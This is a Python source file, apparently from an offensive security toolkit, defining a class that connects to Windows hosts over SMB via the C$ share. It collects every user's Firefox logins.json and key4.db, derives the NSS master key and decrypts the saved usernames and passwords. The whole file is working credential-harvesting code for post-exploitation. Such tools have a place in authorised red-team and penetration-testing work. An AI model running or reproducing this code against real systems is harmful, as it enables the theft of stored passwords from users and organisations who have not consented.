246 lines
9.7 KiB
Python
246 lines
9.7 KiB
Python
#!/usr/bin/env python3
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from base64 import b64decode
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from binascii import unhexlify
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from hashlib import pbkdf2_hmac, sha1
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import hmac
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import json
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import ntpath
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import sqlite3
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import tempfile
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from Cryptodome.Cipher import AES, DES3
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from pyasn1.codec.der import decoder
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from dploot.lib.smb import DPLootSMBConnection
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CKA_ID = unhexlify("f8000000000000000000000000000001")
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class FirefoxData:
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def __init__(self, winuser: str, url: str, username: str, password: str):
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self.winuser = winuser
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self.url = url
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self.username = username
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self.password = password
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class FirefoxTriage:
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"""
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Firefox by @zblurx
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Inspired by firefox looting from DonPAPI
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https://github.com/login-securite/DonPAPI
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"""
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firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
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share = "C$"
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false_positive = (
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".",
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"..",
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"desktop.ini",
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"Public",
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"Default",
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"Default User",
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"All Users",
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)
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def __init__(self, target, logger, conn: DPLootSMBConnection = None):
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self.target = target
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self.logger = logger
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self.conn = conn
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def upgrade_connection(self, connection=None):
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self.conn = DPLootSMBConnection(self.target)
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if connection is not None:
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self.conn.smb_session = connection
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else:
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self.conn.connect()
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def run(self):
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if self.conn is None:
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self.upgrade_connection()
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firefox_data = []
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# list users
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users = self.get_users()
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for user in users:
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try:
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directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
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except Exception as e:
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if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
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continue
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self.logger.debug(e)
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if directories is None:
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continue
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for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
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try:
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logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
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logins_data = self.conn.readFile(self.share, logins_path)
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if logins_data is None:
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continue # No logins.json file found
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logins = self.get_login_data(logins_data=logins_data)
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if len(logins) == 0:
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continue # No logins profile found
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key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
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key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True)
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if key4_data is None:
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continue
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key = self.get_key(key4_data=key4_data)
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if key is None and self.target.password != "":
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key = self.get_key(
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key4_data=key4_data,
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master_password=self.target.password.encode(),
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)
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if key is None:
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continue
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for username, pwd, host in logins:
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decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
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password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
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if password is not None and decoded_username is not None:
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firefox_data.append(
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FirefoxData(
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winuser=user,
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url=host,
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username=decoded_username,
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password=password,
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)
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)
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except Exception as e:
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if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
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continue
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self.logger.exception(e)
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return firefox_data
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def get_login_data(self, logins_data):
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json_logins = json.loads(logins_data)
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if "logins" not in json_logins:
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return [] # No logins key in logins.json file
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return [
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(
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self.decode_login_data(row["encryptedUsername"]),
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self.decode_login_data(row["encryptedPassword"]),
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row["hostname"],
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)
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for row in json_logins["logins"]
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]
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def get_key(self, key4_data, master_password=b""):
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fh = tempfile.NamedTemporaryFile()
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fh.write(key4_data)
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fh.seek(0)
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db = sqlite3.connect(fh.name)
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cursor = db.cursor()
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cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
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row = next(cursor)
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if row:
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global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
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if global_salt:
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try:
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cursor.execute("SELECT a11,a102 FROM nssPrivate;")
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for row in cursor:
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if row[0]:
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break
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a11 = row[0]
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a102 = row[1]
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if a102 == CKA_ID:
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decoded_a11 = decoder.decode(a11)
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key = self.decrypt_3des(decoded_a11, master_password, global_salt)
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if key is not None:
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fh.close()
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return key[:24]
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except Exception as e:
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self.logger.debug(e)
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fh.close()
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return b""
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fh.close()
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return None
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def is_master_password_correct(self, key_data, master_password=b""):
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try:
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entry_salt = b""
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global_salt = key_data[0] # Item1
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item2 = key_data[1]
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decoded_item2 = decoder.decode(item2)
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cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
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if cleartext_data != b"password-check\x02\x02":
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return "", "", ""
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return global_salt, master_password, entry_salt
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except Exception as e:
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self.logger.debug(e)
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return "", "", ""
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def get_users(self):
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users = []
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users_dir_path = "Users\\*"
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directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
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for d in directories:
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if d.get_longname() not in self.false_positive and d.is_directory() > 0:
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users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
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return users
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@staticmethod
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def decode_login_data(data):
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asn1data = decoder.decode(b64decode(data))
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return (
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asn1data[0][0].asOctets(),
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asn1data[0][1][1].asOctets(),
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asn1data[0][2].asOctets(),
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)
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@staticmethod
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def decrypt(key, iv, ciphertext):
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"""Decrypt ciphered data (user / password) using the key previously found"""
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cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
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data = cipher.decrypt(ciphertext)
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nb = data[-1]
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try:
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return data[:-nb]
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except Exception:
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return data
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@staticmethod
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def decrypt_3des(decoded_item, master_password, global_salt):
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"""User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
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# See http://www.drh-consultancy.demon.co.uk/key3.html
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pbeAlgo = str(decoded_item[0][0][0])
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if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC
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entry_salt = decoded_item[0][0][1][0].asOctets()
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cipher_t = decoded_item[0][1].asOctets()
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# See http://www.drh-consultancy.demon.co.uk/key3.html
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hp = sha1(global_salt + master_password).digest()
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pes = entry_salt + b"\x00" * (20 - len(entry_salt))
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chp = sha1(hp + entry_salt).digest()
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k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
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tk = hmac.new(chp, pes, sha1).digest()
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k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
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k = k1 + k2
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iv = k[-8:]
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key = k[:24]
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cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
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return cipher.decrypt(cipher_t)
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elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2
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assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
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assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
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assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
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# https://tools.ietf.org/html/rfc8018#page-23
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entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
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iteration_count = int(decoded_item[0][0][1][0][1][1])
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key_length = int(decoded_item[0][0][1][0][1][2])
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assert key_length == 32
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k = sha1(global_salt + master_password).digest()
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key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
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# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
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iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
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# 04 is OCTETSTRING, 0x0e is length == 14
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encrypted_value = decoded_item[0][1].asOctets()
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cipher = AES.new(key, AES.MODE_CBC, iv)
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decrypted = cipher.decrypt(encrypted_value)
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if decrypted is not None:
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return decrypted
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else:
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return None
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return None
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